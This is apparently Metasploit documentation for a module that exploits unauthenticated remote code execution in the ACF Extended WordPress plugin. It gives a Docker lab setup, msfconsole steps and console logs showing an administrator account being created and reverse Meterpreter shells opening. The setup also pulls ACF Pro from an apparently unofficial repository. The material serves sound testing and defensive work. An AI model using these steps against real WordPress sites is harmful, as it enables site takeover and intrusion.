## Vulnerable Application

This module exploits an unauthenticated Remote Code Execution vulnerability in the
Advanced Custom Fields: Extended (ACF Extended) WordPress plugin versions 0.9.0.5 through 0.9.1.1.

The vulnerability exists in the `prepare_form()` function of the `acfe_module_form_front_render` class,
which accepts user-controlled input via the `form[render]` parameter and passes it directly to
`call_user_func_array()` without proper sanitization.

### Setup

#### Docker Compose Setup

1. **Create a `docker-compose.yml` file**:

```yaml
services:
  wordpress:
    image: wordpress:6.3.2
    container_name: wp-acf-extended-lab
    restart: always
    ports:
      - 5557:80
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wordpress:/var/www/html
    depends_on:
      - db

  db:
    image: mysql:5.7
    container_name: wp-acf-extended-db
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress
      MYSQL_RANDOM_ROOT_PASSWORD: '1'
    volumes:
      - db:/var/lib/mysql

volumes:
  wordpress:
  db:
```

2. **Start the containers**:

```bash
docker compose up -d
sleep 10
```

3. **Install WP-CLI**:

```bash
docker exec wp-acf-extended-lab curl -sO https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
docker exec wp-acf-extended-lab bash -c "chmod +x wp-cli.phar && mv wp-cli.phar /usr/local/bin/wp"
```

4. **Install WordPress**:

```bash
docker exec wp-acf-extended-lab wp core install \
  --path='/var/www/html' \
  --url='http://localhost:5557' \
  --title='Exploit Market' \
  --admin_user='admin' \
  --admin_password='admin' \
  --admin_email='admin@example.com' \
  --allow-root
```

5. **Configure WordPress**:

```bash
docker exec wp-acf-extended-lab wp config set FS_METHOD direct --path='/var/www/html' --allow-root
docker exec wp-acf-extended-lab wp theme install twentytwentyone --activate --path='/var/www/html' --allow-root
docker exec wp-acf-extended-lab chown -R www-data:www-data /var/www/html/wp-content
```

6. **Install ACF Pro**:

```bash
git clone https://github.com/wordpress-premium/advanced-custom-fields-pro.git
docker cp advanced-custom-fields-pro wp-acf-extended-lab:/var/www/html/wp-content/plugins/
docker exec wp-acf-extended-lab chown -R www-data:www-data /var/www/html/wp-content/plugins/advanced-custom-fields-pro
docker exec -u www-data wp-acf-extended-lab wp plugin activate advanced-custom-fields-pro --path='/var/www/html'
```

7. **Install vulnerable ACF Extended** (version 0.9.1.1):

```bash
wget https://downloads.wordpress.org/plugin/acf-extended.0.9.1.1.zip
unzip acf-extended.0.9.1.1.zip
docker cp acf-extended wp-acf-extended-lab:/var/www/html/wp-content/plugins/
docker exec wp-acf-extended-lab chown -R www-data:www-data /var/www/html/wp-content/plugins/acf-extended
docker exec -u www-data wp-acf-extended-lab wp plugin activate acf-extended --path='/var/www/html'
```

8. **Create ACF Extended Form**:

```bash
docker exec wp-acf-extended-lab wp eval '
$form_data = array(
    "post_title" => "Contact Form",
    "post_type" => "acfe-form",
    "post_status" => "publish",
    "post_content" => "",
    "meta_input" => array(
        "acfe_form_name" => "contact",
        "acfe_form_label" => "Contact Form"
    )
);
$form_id = wp_insert_post($form_data);
echo "Form created with ID: " . $form_id . "\n";
' --path='/var/www/html' --allow-root
```

9. **Create a page with the form**:

```bash
docker exec wp-acf-extended-lab wp post create \
  --post_type=page \
  --post_title='Contact' \
  --post_status=publish \
  --post_content='[acfe_form name="contact"]' \
  --path='/var/www/html' \
  --allow-root
```

10. **Get the page ID** (needed for NONCE_PAGE option):

```bash
docker exec wp-acf-extended-lab wp post list --post_type=page --title='Contact' --fields=ID,post_title --path='/var/www/html' --allow-root
```

The vulnerable WordPress installation will be accessible at `http://localhost:5557`.

## Verification Steps

1. Start `msfconsole`
2. `use exploit/multi/http/wp_acf_extended_rce`
3. `set RHOSTS <target>`
4. `set NONCE_PAGE <path_to_page_with_form>` (e.g., `/contact` or `/?page_id=5`)
5. `set PAYLOAD php/meterpreter/reverse_tcp` (or any compatible payload)
6. `set LHOST <your_ip>`
7. `check`
8. `exploit`

## Options

### NONCE_PAGE

Path to a WordPress page containing an ACF Extended form widget. This is required to extract the nonce token needed for exploitation.

Examples:
- `/contact`
- `/contact-us`
- `/?page_id=5`
- `/about-us`

### USERNAME

Username for the administrator account to be created. Defaults to a randomly generated username using Faker.

### PASSWORD

Password for the administrator account to be created. Defaults to a randomly generated password using Faker (minimum 8 characters).

### EMAIL

Email address for the administrator account to be created. Defaults to a randomly generated email using Faker.

## Scenarios

### Target 0: PHP In-Memory (php/meterpreter/reverse_tcp)

```
msf6 > use exploit/multi/http/wp_acf_extended_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_acf_extended_rce) > set RHOSTS localhost
RHOSTS => localhost
msf6 exploit(multi/http/wp_acf_extended_rce) > set RPORT 5557
RPORT => 5557
msf6 exploit(multi/http/wp_acf_extended_rce) > set NONCE_PAGE /?page_id=5
NONCE_PAGE => /?page_id=5
msf6 exploit(multi/http/wp_acf_extended_rce) > set LHOST 192.168.48.1
LHOST => 192.168.48.1
msf6 exploit(multi/http/wp_acf_extended_rce) > set TARGET 0
TARGET => 0
msf6 exploit(multi/http/wp_acf_extended_rce) > check
[*] 127.0.0.1:5557 - The target appears to be vulnerable.
[*] ::1:5557 - The target appears to be vulnerable.
msf6 exploit(multi/http/wp_acf_extended_rce) > run

[*] Exploiting target 127.0.0.1
[*] Started reverse TCP handler on 192.168.48.1:4457 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[+] Administrator account created successfully
[*] Sending stage (41224 bytes) to 192.168.48.3
[+] Deleted ajax_pjuhk.php
[+] Deleted wp_asnp8.php
[+] Deleted ../wp_asnp8
[*] Meterpreter session 1 opened (192.168.48.1:4457 -> 192.168.48.3:42492) at 2025-12-09 21:32:56 +0100
```

### Target 1: Unix/Linux Command Shell (cmd/linux/http/x64/meterpreter/reverse_tcp)

```
msf6 exploit(multi/http/wp_acf_extended_rce) > set TARGET 1
TARGET => 1
msf6 exploit(multi/http/wp_acf_extended_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_acf_extended_rce) > run

[*] Exploiting target 127.0.0.1
[*] Started reverse TCP handler on 192.168.48.1:4460 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[+] Administrator account created successfully
[*] Sending stage (3090404 bytes) to 192.168.48.3
[+] Deleted ajax_tg3g2.php
[+] Deleted wp_a08m2.php
[+] Deleted ../wp_a08m2
[*] Meterpreter session 2 opened (192.168.48.1:4460 -> 192.168.48.3:53984) at 2025-12-09 21:34:08 +0100
```
